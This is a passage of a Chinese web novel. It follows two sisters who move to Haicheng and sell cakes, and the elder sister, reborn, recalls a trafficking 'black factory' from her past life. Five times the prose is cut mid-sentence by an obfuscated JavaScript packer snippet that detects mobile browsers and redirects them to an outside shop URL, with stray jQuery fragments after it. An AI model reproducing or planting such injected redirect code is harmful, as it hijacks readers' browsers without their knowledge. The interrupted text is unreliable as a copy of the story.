明曦看着她眼中绽放出来的神采笑着点头：“这是黑芝麻馅的，这跟包饺子一样，里面还可以包其它的馅，花生的、豆沙的、枣泥的，喜欢吃什么馅就可以包什么馅。” 明月将嘴里的汤圆咽下去，说：“这些馅我都想吃！” “那等有时间，我们都包出来尝尝。” 明月频频点头，看着一桌子的菜道：“我现在感觉好幸福啊！”脸上的表情都充满了甜蜜。 明曦笑着给她夹了一块红烧肉。 这时窗户外传来电视声，明月转头去看说：“咱们家窗户可以看到邻居家的电视。”不过画面模糊，声音也不清晰。 村里没几户人家有电视，一到晚上，大家伙就都喜欢聚到有电视的人家院里看电视，明月那时候最喜欢看《西游戏》，但因为是人家家里的电视，所以她一直都没有看全过。 吃完饭后，明月主动包揽了洗碗的工作，明曦没拦着，往盆里兑了热水进去后问：“你书包都整理好了吗？” “整理好了，书、铅笔、铅笔盒都装进去了。” “别漏了就行。”明曦又检查了一遍她有没有遗漏。 明天就是开学第一天了，明月难免有些兴奋，躺在床上翻来覆去的睡不着，悄声问：“姐，你说我的同学都是怎样的？他们好不好相处？老师是怎样的？跟老家的老师一样吗？” 她就入学考试的时候去过一次六小，新学校建的崭新壮观，跟村小一比简直就是宫殿般的存在，不过因为是假期，学校没什么人，就招生办热闹一些。 当时招生办的老师给她拿了一份试卷让她做，满分一百，她才刚刚及格，羞愧得不行，但招生办老师特别温柔，还笑着鼓励她。 明曦没回答她的问题，抱着她轻轻拍了拍她的背。 第二天，两人起得很早，吃完早饭后步行去学校，明月一路上都很忐忑，紧紧牵着明曦的手。 学校门口站着欢迎学生开学的老师，明曦站在学校门口笑着说：“等你晚上放学带你去吃好吃的。” 明月闻言眼睛亮了亮，小幅度高频点头。 明曦笑了笑，摸了摸她早上特意梳顺的蘑菇头，“进去吧，晚上回来跟我说说学校里都发生了什么事。” 目送人进了教学楼后，明曦才离开，她今天要去大学城探探情况。 …… 周文宣今天上班的时候总让人觉得神不在焉的，江律心瞥了他好几眼他都没发现。 那个姑娘都是几点过来摆摊？她摆多久了，怎么他以前没有见到过？ 对了，她卖的好像是蛋糕，那方方正正，一口一个的样子，平白的有些熟悉，他妈之前好像买过，他当时还疑惑怎么现在的蛋糕都这么小了…… “周文宣？”随着江律心的声音落下，长桌上的人都循着目光望过去，而言语中的主角还一无所觉地低着头，愣愣地盯着本子看。 徐茗瑞轻咳一声，桌子下用笔戳了戳他。 周文宣回神，猛然发现所有人的目光都聚集在自己身上，他不自在地动了动，将翘起的二郎腿放下。 好在江律心没有多说什么，眼神锐利的瞟了他一眼后继续开着会。 周文宣悄悄松了一口气，听到旁边徐茗瑞压着声音问：“你这一早上想什么呢？江队都看你好几眼了，你都没注意到。” “没想什么。” 徐茗瑞见他不愿意说，撇撇嘴也不再追问。 早上开会的时候发生这么一出，周文宣接下来的一天都卯足了精神，没再出什么差错，等到晚上四点多的时候，他找了个由头出去一趟。 一路骑着摩托车来到巷口的小广场处，远远就看到那边摆了一排的小摊，有不少行人再那边驻足流连，周文宣一时嘴角翘起，迫不及待地将车停好上前，但在那边绕了一圈又一圈，就是没看见蛋糕摊子，而昨天蛋糕摊的地方早已被其它小摊占领。 周文宣不免有些失望，不知道她是已经走了还是还没来，他上前问道：“昨天那个卖蛋糕的姑娘呢？” 摊贩认出来他是昨天的那个公安，心里有些怵他，低着头支支吾吾说：“她今天没来…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136056|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 周文宣：“那她明天什么时候来？” “她昨天说她以后都不来了……”摊贩说完这句话，生怕让眼前的公安觉得是因为他们她才不来的，连忙补充道，“跟我们没关系的，我们没让她不来，是她自己说以后这边都给我们的。” 周文宣听完这些话，知道以昨天那姑娘的本事，不来这边肯定是有了更好的打算，但心里不免有些失落，也不知道那姑娘住在哪，姓什么叫什么，更不知道以后还能不能再碰到她。 …… 而被人惦记着的明曦白天都在大学城这边，跟人谈摊子的摆放费。 这边有一个小广场，就在超市门口，周围是各种铺面，人流量很大，也允许个体摊贩在这边摆摊售卖，只不过每月都要交费，明曦跟人谈的正是这个费用。 “我们这一个月是五十块，不讲价的。” 明曦听到这个价格下意识挑了下眉，这么贵。 秦经理还在继续讲要求：“就这也不是随随便便就能摆上的，我们这边要求已经有的摊位不摆第二家，还要卫生整洁，每天晚上收摊后都得把地方打扫干净。如果是卖食品一定得用料干净，咱这边的客户主要就是旁边几所大学的学生，不能把人吃出问题来。” 明曦是一定要在这边摆摊的，所以了解清楚后并没有犹豫就交了钱，连秦经理都惊讶于她的果断，笑起来说：“小姑娘有这魄力，相信以后你这生意不会差的。” 明曦也笑：“那到时候就借经理吉言了。” 摊位租号后，明曦算着时间去六小接明月放学，她们学校是四点放学。 临近放学时间，校门口家长聚集，等着学校铃响，铁门打开。 明曦站在门口探头探脑地张望，一整个学校的学生都蜂蛹而出，不一会儿人群中就出现了明月左顾右盼的身。 明曦连忙招手，好让自己更加醒目，明月走了两步后目光就锁定她，径直向她跑来。 “姐！” 明曦打量着她的精神头，头发毛燥着翘起，眼神熠熠，看来今天在学校过得不错。 明月走在明曦旁边牵着她的手，一蹦一跳地问：“姐，你摊位租好了吗？” 明曦点点头：“租好了，明天就可以过去摆摊了。” “那以后你卖东西的时候我就在旁边写作业，等作业写完还能帮你整理整理东西。” 这是她们姐俩一开始就商量好的，明曦在大学城那边摆摊最起码要等到晚上九十点才能收摊，这个时间点让明月自己一个人待在家里她不放心，倒不如跟自己在一块儿，一回头就能看到。明月也很懂事，不想让姐姐一个人那么累，也想在写完作业后能给姐姐帮帮忙，姐妹两个互相扶持着，日子才能更好地走下去。 明曦低着头看着明月头上的发旋，想，也许自己心里早就病了，所以才要一直让她在自己眼前，生怕她会出现什么差错。 就在她愣神时，明月摇了摇她的手，仰着头眼神发亮地问：“姐，咱今天晚上吃什么？”她还记得她早上说的放学带她去吃好吃的。 明曦看着她期待的眼神，恍然回神，嘴角弯弯笑起来说：“下馆子，吃肉喝汽水。” “好耶！” 12. 泽生…… 会是……她吗？ “这些都是一块钱一块，因为今天是第一次过来卖，所以有买三赠一的活动。”明曦笑着向眼前的众人推销，手指向旁边的碟子，“这边可以试吃，觉得好吃再买。” 还是大学城这边热闹，这摊子才摆上没多久，就围了不少人过来。 大家用签子叉起一小块放进嘴里品尝，边吃边点头，明曦微微笑着，安静等待着她们品尝完毕。 几个人吃完后互相对视询问，“咱们要不要买几块回去？” “我有点想买，感觉挺好吃的。” “你们买吧，我刚刚其它东西吃太多了，吃不下了。” “行。”几个人一瞧就是一个宿舍的，商量好后对明曦道，“老板，我们要这四块。” “好的，总共是三块钱。”明曦麻利地将蛋糕装盒打包，并递到几人手上。 第一天就大丰收，明曦低头翻腰包里的钱，对看过来的明月挑眉笑了笑，眼中尽是满意。 “那边好像新开了个摊子，我们过去看看吧。” “好像是卖蛋糕的，刚才看路上好多人手上都拎着块蛋糕。” 两个人走过去在摊子前站定，明曦低头弯腰向她们介绍每块蛋糕的口味。 二人中的一人一直踮着脚昂着头朝着一个方向看，不多时笑起来摆手道：“这边这边，泽生，我们在这。” 泽生…… 明曦听到这两个字眼，瞬时有些怔愣，会是……她吗？ 王茜问了两遍都不见老板回答，疑惑地看过去，见老板不知怎的一直低着头，像是走神了一样。 “老板？老板？”她又喊了两声。 明曦恍然回神，眼神失焦又聚焦，抱歉道：“不好意思，刚刚在想点事情。” 王茜摇头：“没事，我就是想问问你这是怎么卖的。” “所有口味都是一块钱一块，不过今天是第一天卖，买三赠一。” 说话间，摊位前有挤过来一名女子，栀子花的香味瞬间盈在明曦鼻间，明曦恍恍惚惚地抬头看过去，熟悉的面孔活泼生动。 王茜暂停在摊子上挑选的动作，问明泽生：“你刚刚去买了什么？” 明泽生的脸上铺着灿烂的笑，她将手里的东西拎起来回道：“路过那家铁板豆腐，那香味钻鼻，没忍住，就买了一份。” 说完将视线移到眼前的摊子上，好奇道：“又开了家蛋糕摊噢，看着挺好吃的，咱们要不要买点回去？”她感觉这个老板一直在看自己，但能感受得到没有恶意。 明曦在人过来的那一刻就开始控制不住自己的眼睛，虽然来大学城的目的就是为了见她，但并没有预料到第一天就能见到人，而且还离得这么近。 “老板，我们要这几块。” “啊？好、好的。”明曦连忙回神将蛋糕装起来递给她，在动作的间隙中，她悄悄打量着她，打量着这位目前尚且稚嫩的女人。 随着时间的推移，人的外貌和气质都会逐渐变化，但明泽生身上的明媚和坚定却和前世一模一样。 明泽生盯着她的动作，狐疑地瞧了她好几眼。 三人拎着蛋糕离去，王茜回头看了一眼，转过头压着声音对另外两人道：“怎么感觉这老板怪怪的？” 明泽生深有同感地点头：“我也觉得，而且她总是盯着我看，害我还以为我脸上有东西。”话虽这么说，但她心中有一股说不清的感觉，她下意识觉得这位年轻的老板肯定是有故事的人，并不是坏人，而且不知道为什么，她对这位陌生人有着没来由的好感。 人已经离开很远，明曦还在看着她们离去的方向，沉浸在回忆之中。 第一次见明泽生是在一个漆黑的夜晚，她蹑手蹑脚、警惕十足的在黑工厂边走边望，明曦当时蜷在黑暗里，在她进来的第一时间就发现了她，但她什么都没说，并不关心地看了这个陌生人一眼后就收回了视线。 谁知道明泽生当时会一直朝着她的方向过来，直到走到她面前，明曦还记得当时她走着走着突然发现有人时的惊恐表情。 像一只浑身炸毛的黑猫。 但那时的明曦心如死灰，根本不在意她过来的目的，也并不管她想要干什么。 反而是明泽生对她很好奇，看她穿得破旧，又瘦得像个骷髅，而小心翼翼地凑到她面前问她的情况。 她当然是什么都没问到，最后无奈给她塞了块巧克力后，匆匆离开了。 明曦那时吃过巧克力，知道这东西又甜又苦，味道很奇怪，她剥开糖纸，将巧克力放进嘴里慢慢化开，在角落里无声无息地坐了一夜。 她那时以为跟明泽生以后不会再见面，谁知没过几天就在黑工厂又见到了她…… 人来人往的热闹声将明曦从思绪中拉回来，她抬手擦了擦眼角，眼眶中不知什么时候竟浸了泪水…… 明曦闭上眼深呼吸，呼……吸…… 再睁开眼时，眼中已是一片清明，那些都是上一世的事情了，那些事情这辈子再也不会发生。 她理了理面前的蛋糕，将它们摆放整齐，重新扬起笑脸，开始做生意。 此时天已经彻底黑下来，小广场亮起灯，五颜六色的连成一片。 明月搬着凳子走过来，“姐，我作业写完了。” “饿不饿？”明曦问，从腰包里掏钱递给她，“去买点东西吃。” 在这边缺不了吃的。 明月拿过钱问：“姐，你想吃什么？” “那边好像有一家铁板豆腐，你就帮我买一份那个吧。” “好。”明月答应后，像只灵活的小鱼一样，从密密麻麻的人群中游出去。 明曦看着她的背影不自觉的笑起来，宠溺地摇摇头。 …… “舒姐，这下班了，回家准备做什么吃啊？” 舒绣芳将皮包拎起来挎在肩上，笑道：“中午还有点剩菜，回去热一热吃。” 葛芬笑起来：“小宣晚上还不回来吃饭啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136057|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 舒绣芳无奈点头：“没办法，现在家里就他最忙，哪天能正常下班我们都要吃一惊。” 葛芬通过窗户朝另一个方向望去，对面办公室亮着灯，她道：“看来厂长今天也要加班了。” 舒绣芳微微笑着，眼底却闪过一抹担忧，别人不清楚，她是最了解内情的，她丈夫周正谊是这家服装厂的厂长，当了十几年了，但眼看着却是要当不下去了…… 随着工业园区的建立，周围也成立了很多厂子，拼劲闯劲、胆识手段一样不缺，在这些厂相比，他们家的这个小厂子就太落后了，厂子也逐渐开始入不敷出。 舒绣芳知道周正谊这些天一直在琢磨应该如何让厂子起死回生，但她知道，这件事，他做不了，他太优柔寡断也太讲情义。 因为这家厂子最大的问题就是吃干饭不干活的人太多，这些人像巨大的包袱被厂子驮着，这些开支是庞大的，也是这家厂子担负不起的。 所以这些天周正谊一直在加班，想要找出个最优解。 葛芬拎起包边走边提议说：“旁边大学城又热闹起来了，要不要去那边看看？随便买点什么吃，总好过你一个人在家吃冷饭。” “那去逛逛也行。”舒绣芳略微思索了一下就答应下来，两人手挽着手朝那边走。 离得不远，走着也就到了。 “这边卖的东西是真挺多，买的人也多。” “是，我瞧着好像有好几家去年都没见过，估计是今年才开的。”葛芬踮着脚往里探，不由感叹道，“这几年海城真是一天一个样，发展太快了，这稍微一错眼儿，就要跟不上变化了。” “谁说不是呢？”舒绣芳赞同应道。 葛芬挽住她的胳膊笑道：“走，舒姐，进去看看吃什么，这上一天班，我也实在是饿了。” …… “你买的什么？”明曦看着拎着两份食物回来的明月问。 “瘦肉丸，我看那摊子上好多人排队，卖的东西肯定很好吃，就也过去排。” 明曦笑起来，轻轻捏了捏她的脸颊夸奖说：“怎么这么聪明。” 明月将瘦肉丸和铁板豆腐放在用来写作业的折叠小桌子上，坐在小马扎上拿着勺子吃起来。 明曦看着她乖乖巧巧的样子，心中发软，轻声道：“待会儿吃完，你再看会儿书，等摊子上这些都卖完咱就回家睡觉。” “姐，我今天的作业都写完了，我吃完帮你一块儿卖。”明月抬起头，嘴巴里塞得鼓鼓囊囊。 明曦笑起来：“你还是多学会儿吧，姐可还记得谁说的要考第一呢，别回头抱个大鸭蛋给我。” “才不会！”明月撅起嘴，不服输道，“就算我现在成绩还赶不上他们，等这个学期结束我肯定会是全班第一。” 说完就抓紧把饭吃完，接着从书包里把英语书掏出来，她以前没接触过英语，今天刚认识二十六个字母。 明曦没打搅她，继续守着摊子买蛋糕。 13. 羊绒手套 “咦，原来你到这边来了，怪不得我没在巷口看见过你。” 明曦听见声音，连忙看过去，觉得眼前的人有些眼熟，再结合她话中的意思，知道是自己在巷口摆摊时的顾客，笑道：“是，这边人多一些，好摆，您今天要买一些蛋糕吗？” “今天就不买了，下回再买吧。”舒绣芳笑着晃了晃手中买好的东西，又跟旁边好奇的葛芬介绍说，“这老板原本在我家前面的那个巷口摆摊，卖的蛋糕很好吃，后来好几天没看见人，我还说去哪了呢，原来是来这边了。” 葛芬听完看着摊子前各式各样的小蛋糕，一时来了兴趣问：“这些蛋糕怎么卖的？” 明曦答道：“一块钱一块，买三赠一。” 葛芬点了四块，又从包里掏了三块钱递给她：“那帮我把这四块装起来吧。” “哎！”明曦给她装好后，又另外装了一块小块递给舒绣芳说，“这是我们家的新品，送给您尝尝。” 舒绣芳没想到她会直接送自己一块，惊讶地看着眼前的小姑娘，瞧着比自己儿子还小好几岁呢，就已经这么独立的出来做生意讨生活了。 小姑娘笑语晏晏，眉眼弯弯，看得人心中好感倍生，她哪好意思免费要人家的蛋糕，连忙从钱包里掏钱递给她。 明曦避着身子不收，口中说着：“说是送给您尝尝的，哪能收钱？您要是过意不去，往后多照顾照顾我生意就好。” 话说到这份儿上，舒绣芳也不好再说什么，只能接过小蛋糕，应声道：“阿姨以后多多给你介绍顾客。” “哎！”明曦笑着应下。 舒绣芳的视线越过她看着后面坐在折叠小桌椅上看书的明月，问：“这是你妹妹吗？” “对。”明曦顺着她的眼神看过去。 “真乖。”舒绣芳瞧着小姑娘小小一个蜷在那边看书，现在是冬天，冷风时不时就往这边吹，小姑娘抱着红色的暖水袋交替暖手。 舒绣芳二人对这种认真做事，认真学习的小姑娘没有一点抵抗力，走出二里地还在聊着她们。 虽然不知道二人背后的故事，但两个外地小姑娘跑到这边做生意，而且小的那个还在上学，光从这些也知道两人的生活肯定不轻松的。 “现在做个体户都赚钱的，这姐妹俩努努力，日子会越过越好的。”葛芬道。 舒绣芳也说：“是，这老板能干的，动作麻利的很，又会做蛋糕，你回去尝尝就清楚了，她家的蛋糕做的不比惠民蛋糕房的差。” 葛芬没想到她会这么说，挑了下眉看着手里的几块蛋糕，惠民蛋糕房可是这边顶有名的蛋糕了，平时想吃都得提前订才能买到，她笑起来：“行，我回去尝尝看。” 舒绣芳回到家的时候，家里一个人都没有，她看着空荡荡的房子轻轻叹了口气，知道丈夫儿子最近都在忙，她打开灯，把买回来的小吃放在饭桌上。 她看着诱人的小蛋糕，从厨房拿了个小勺子舀了一口放进嘴里慢慢化开，甜甜的味道从舌尖滑到胃里，她长长呼出一口气，好像心中郁结也随之消散。 不一会儿，舒绣芳就把一块小蛋糕吃完，吃起买的小馄饨。 刚吃到一半就听见门响，她探头去看，就见儿子跨门进来，惊喜道：“你今天下班这么早？” “是，今天局里不忙。”周文宣边换鞋边道。 “那你吃饭了吗？” “还没。”周文宣看到她吃的小馄饨说，“妈你吃吧，不用管我，我待会儿随便吃点就行。” “那哪行？你这为人民服务了一天了，妈给你炒两盘菜犒劳犒劳你。”说着就起身去厨房打开冰箱。 周文宣听到这话笑起来，也挽起袖子跟过去，“我给妈打下手。” “好。”舒绣芳看着比自己高了大半个头的儿子，心中熨帖。 吃饭的时候，周文宣总感觉自己彷佛闻到了蛋糕味，说起蛋糕，他又想起那个之前在巷口摆摊的女孩，也不知道现在去哪了。 他装作不经意地问：“妈，你之前买的蛋糕是在巷口买的吗？” “对，你还想吃吗？”舒绣芳点头。 “没，就问问。”周文宣低头喝了口粥，掩饰自己的不自在。 舒绣芳没多想，只一筷子一筷子的给儿子碗里夹菜，“多吃点，妈瞧着你这段时间都有点瘦了。” “没瘦呢，我还又结实了，你看……”周文宣放下筷子耍宝似的给妈妈展示自己胳膊上的肌肉。 舒绣芳被逗笑，“好好，没瘦没瘦，快吃，吃完去洗洗睡觉。”她笑着看着他，眼底充满爱意，她身体不好，结婚这么多年才得了这一个孩子，从小到大都疼得跟眼珠子似的，舍不得让他吃一点苦。 想到这，又想到寒风中生活的姐妹俩，一米八几的大男子汉生在温室里，柔柔弱弱的姑娘家却在冷风中，舒绣芳摇摇头，思索着回头家里的蛋糕都从小姑娘摊子上买，再在厂里跟同事们多推销小姑娘的蛋糕摊。 明曦这边将摊位上的蛋糕都卖完后，跟明月两人把周围都打扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136058|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一遍就收拾东西回家。 冬夜里的风刮着，跟刀子似的，两人加快脚步，几乎是小跑着到家。 明月一进屋就赶紧将灯打开，暖黄色的光亮起，好像人也温暖了不少。 明曦有些心疼地看着她，开口说：“你明天放学还是别跟我去摆摊了，那边太冷了，写字冻手，还是回家来写吧。” 今晚在那边，她瞧着明月写一会儿字就忍不住哈一下手，实在是有些心酸不忍。 明月想都没想就拒绝：“姐，我不怕冷，我想跟你一块儿。” 不光是明曦离不开明月，明月也离不开明曦。 明曦摸了摸她的头，抿唇笑了笑，现在实在想不出两全的法子，让明月一个人在家，她也会不放心，生怕会有坏人破门而入，让明月遭遇不测。 相比之下，在小广场那边虽然冷了点，但好歹是在眼皮子底下，人又那么多。 明月把暖水袋里的水倒掉，又重新灌了热水进去，笑起来说：“我抱着这个就不会冷了。” 明曦看着她的笑脸，也不由得跟着笑起来。 第二天明曦把人送到学校就拐去了一家商场，看着货架上展示的东西问：“你好，这手套多少钱？” 售货员看了一眼道：“这手套是羊绒的，贵一点，十五块钱一副。” 那是不便宜了，明曦没有犹豫，从口袋里掏出钱包说：“麻烦帮我把这一副装起来。” 手套买完，明曦又马不停蹄地回家，下午要去卖蛋糕，她现在得赶紧将东西做好，今天做的跟昨天的量一样就行。 一整天的时候，明月坐在教室里听着朗朗书声认真做着笔记，明曦在家里忙得脚不沾地，两人都在努力。 到了下午，明曦先把要卖的东西用小车拉到小广场上，看一会儿摊子能卖多少卖多少，到了明月放学的点再去把她接过来，回来到了饭店正值人多生意好。 明曦将羊绒手套递给明月说：“戴着这个写字。” 明月惊喜地接过手套，摸起来毛茸茸软乎乎的，“姐你什么时候去买的？” “把你送到学校后。戴上看看感觉怎么样。” 明月将手插进手套里，又活动了下手指，“特别舒服！特别特别暖和！” 明曦瞧着她耍宝的样子，忍不住用手刮了下她鼻梁说：“那现在去写作业吧，饿了就去买饭吃。” “好！”明月起身从摊子下把折叠小桌椅拿出来展开，又从书包里掏出作业本，攥着笔认认真真写起来。 14. 噩梦 “咱在这边也算是安定下来了，等晚上回去给苏阿姨写封信寄回去。”趁着摊子上现在没上人，明曦跟明月闲聊。 明月问：“能把蛋糕也寄一块回去吗？我想让苏阿姨尝尝姐姐做的蛋糕。” “那恐怕不行，蛋糕会坏在路上的。” “好吧。”明月有些惋惜地看了小蛋糕一眼。 “老板，这蛋糕怎么卖？” 听见顾客问价，明曦头还没转过来就连忙回道：“都是一块钱一块，您看看您想要……哪块？”话音逐渐消失在看见人的瞬间。 那人还在挑挑选选，明曦却瞳孔皱缩，呆楞在了当场。 这人她到死都不会忘记。 “既然这么不听话，那就饿几顿，把她饿老实了就听话了。” “不接客？我花钱把你买回来，你不接客难道让我接客？” “打！狠狠的打！我就不信了，我还打不服你！” …… 他是田江！ 那些狠厉的话好像还在耳边萦绕，明曦不可遏制地发起抖来。 明月瞧见以为她身体不舒服，连忙问道：“姐，你怎么了？你是不是冷？” 田江听到这话奇怪地看了眼她，手指在摊子上的蛋糕上点了点说：“我要这个，给我装起来。” 见明曦还没有反应，明月赶紧上前收过钱后将他指定的那块装好递过去。 等顾客走后，明月又赶紧来查看明曦的情况：“姐，你是不是哪里不舒服？咱去医院吧。” 明曦感觉自己浑身的汗毛都在战栗，她紧紧握住明月的手，声音从牙缝中挤出来：“我没事，就是刚刚吹过来一阵风，冻到我了。” 明月不太相信，担忧地望着她，怕她是怕她担心就随便找个理由敷衍她。 明曦眼角余光扫到明月快哭出来似的表情，知道自己吓到她了，唇边勉强弯起个弧度，“别怕，我真没事。” 她只是想起了一些事，一些上辈子的事。 上一世被卖到黑工厂后，一进去就被抑制住了自由，还有个年长的人来教她们规矩，她当时懵懂，以为所有工厂都是这样，虽然心中惶恐，但还是尽心尽力地学。 直到后来学的东西越来越上不了台面，她才终于意识到自己上当受骗，进了狼窝。 那时候明曦每晚都惴惴不安，不知道自己该怎么办，天天都在筹划着逃跑，也施行过几次，但无一例外都被抓回来，并被狠狠打了几顿饿了几天。 当时那里不止她一个被卖进来的女孩，时间一长，甚至开始有女孩消失，大家虽然嘴上没说，但心里都清楚是怎么回事，明曦也害怕会再也见不到明月，也就不再敢逃跑。 明曦目光望向早已没有田江背影的路口，眼底波涛汹涌。 她记得当初黑工厂被破的时候，田江并没有被抓，甚至直到她死前，都没有听到他被抓的消息。 明曦目光沉沉，现在还不是时候，她要做的是养精蓄锐，最后让所有人都绳之以法。 黑工厂是前世她们所有人噩梦的起源，不管是她还是苗翠翠、明泽生、江律心、甚至周文宣，一生都被黑工厂耗干，直至死亡。 而这一世，这一切都不会再发生，她会让那些坏人都付出代价。 明曦很快调整好状态，手心温暖，是明月的手，她微低着头对着明月笑笑，柔声道：“你去写作业吧，我真的没事。” 明月瞧着她仍放不下心，问：“姐，你饿不饿？我去买点饭回来吃吧，你想吃什么？” 明曦抿唇笑着点头回道：“帮我买一笼小笼包，一碗小馄饨吧。” “好。”明月拿着钱跑出去。 明曦看着她跑动的背影，心终于落回实地，她刚刚的恐惧是上一世的残留，她习惯了以恐惧面对田江，于是在看到他的第一眼便控制不住地发抖，以后不会了，她以后不会再对他们任何人恐慌了。 不过因为田江，她又想起苗翠翠来。 苗翠翠跟她一样，都是从农村来海城的，想要找一份工作，却不料被坏人诓骗，被卖进了黑工厂。 苗翠翠进来的时候，明曦已经知道逃不走而心死了，所以一开始并不搭理她。 也许是因为二人的相像，也许是因为其她女孩子已经被可悲的同化，苗翠翠哪怕迎着她的冷脸也要过来跟她搭话。 后来苗翠翠也因为忍受不了饥饿挨打而选择了打扮妖娆。 思绪归笼，明曦看着眼前被明月端过来的小笼包，夸奖道：“真厉害！” 明月才不吃她这一套，把筷子递给她说：“快点吃饭，吃饱了就不冷了。” 吃饱了就不冷了…… 明曦垂下眼睫，握住筷子又抬头甜甜笑起来：“好。” 小笼包的味道熟悉温暖，好像一下子就把她从地狱又拉回了人间。 “在吃饭呢？” 明曦听到声音转头看过去，迅速将口中食物咽下回道：“是，你吃晚饭了吗？” “喏，我刚买好。”明泽生拎起手中的东西给她看。 这段时间因为明泽生经常来买小蛋糕，两个人慢慢熟络起来。 明曦笑起来说：“我今天又做了新口味，你要不要尝尝？” “好哇。”明泽生眼神亮起来，舔了下嘴唇，搓着手很是期待。 明曦看着她笑了笑，也不知道现在这个稚气未脱的人上辈子是怎么那么坚定的。 明泽生口中抿着蛋糕，夸张地点头称赞：“很好吃！你的手真巧。” 明曦只是望着她笑，前世就是因为她说过自己喜欢吃蛋糕，所以她才去学习的做蛋糕，每当到晚上睡不着的时候，她就会在厨房做一个蛋糕，从蛋糕胚烤起，挤奶油，裱花，一点一点地折腾到深夜，直到精疲力尽地感到困意。 明泽生吃完蛋糕后，走到摊子后面把自己买来的晚饭摊开放到折叠小桌上，跟她们的晚饭放在一起。 “正好，我买的煎饺。”明泽生笑道，“我总不好白吃你的蛋糕，所以把我的煎饺拿出来跟你们一起分享。” 明曦没想到她会这样做，对着看过来的明月点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136059|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头，示意可以吃。 明泽生知道她们不好意思吃自己的东西，便直接用筷子夹了一块放进明月的碗里，嘴中还问道：“小月，你今天的作业写完了吗？” 因为姐姐突然发生的状况，明月还没写完作业，她摇头：“还差英语没写。”她最差的科目就是英语了。 明泽生一拍手，似是惊喜道：“正好。” 明月不解地看着她，不明白怎么自己作业没写完她会这么高兴。 明曦瞧着明泽生的样子，心下了然地笑了笑，走过去对明月说：“等吃完，你看看英语有什么不会的，正好让这位姐姐教教你。” “对对，你有什么不会的尽管问我，我上学的时候英语最好了。”明泽生连忙应下，随后又觉出不对来，她怎么知道自己是这个意思？ 明曦意味深长地看了她一眼，明泽生前世就有跟自己说过，她上学时老师经常会布置作业，让她们自己去找新闻，写一篇报道，写的好的会发表在校报上。 明泽生就经常会找小广场上摆摊的小贩聊天，了解他们背后的故事，最后选取合适的作为自己的作业。 明曦从刚刚她把煎饺放到小桌上就清楚了她过来的意图了，这可是她拉近关系的惯用手段。 明曦现在都还记得前世她对着自己吹嘘过往时的洋洋得意，骄傲而可爱。 明泽生不好意思地挠挠头：“小月你有什么不会的就问我，千万别拘谨。” 明月嘴里塞着食物“唔”了声。 明泽生对着姐妹俩继续套着近乎，道：“这说起来还真是巧，你看，你们姓明，我也姓明，这说不定咱们五百年前还是一家呢！” 姐妹俩听到这话都笑了笑，明月自然是不可能把自家的私事告诉别人，明曦也不会坦白是因为她姓明，所以她们才姓明。 明泽生以为她们是认同自己，“所以咱们之间就不要客气，那边有卖热的维他奶，你们喝不喝？我请你们喝。” “我就不……” 明月话还没说完就被明曦打断，“好啊。” 明泽生连忙起身去买了三瓶维他奶回来，还贴心地替她们将吸管放好。 明月不知道她俩想要干什么，便安静地看着自己的书。 明泽生一边辅导明月作业一边观察着明曦的表情，终于是坐不住选择开口：“明曦，我这有个不情之请，不知道……” 明曦憋不住笑道：“我答应我答应。” “哎？”明泽生诧异地看着她，“我还没说是什么事呢，你怎么就直接答应了？” 明曦捧腹笑起来，还不忘解答她的疑惑：“这一片谁不知道你明大记者的名头，不就是想要采访我吗？” 听到这话，一向厚脸皮的明泽生也没忍住羞红了脸，摸了摸鼻子，四下望了望，总觉得好像小广场上的所有摊主都在看着自己。 明月听见后也忍不住笑起来，这才清楚怎么姐姐一反常态，原来是在逗明姐姐玩。 明曦继续道：“你有什么想问的直接问吧，我肯定知无不言！” 15. 接人 今天是三月二十二日，周日。 对于这一天，明曦已经等了很多天。 她一大早就起来穿衣服洗漱，“小月，咱们今天休息一天，不去摆摊，我去招个帮手。你今天自己在家好好写作业，我中午就回来了，千万别乱跑。”出门前，她还是有些不放心，千叮咛万嘱咐。 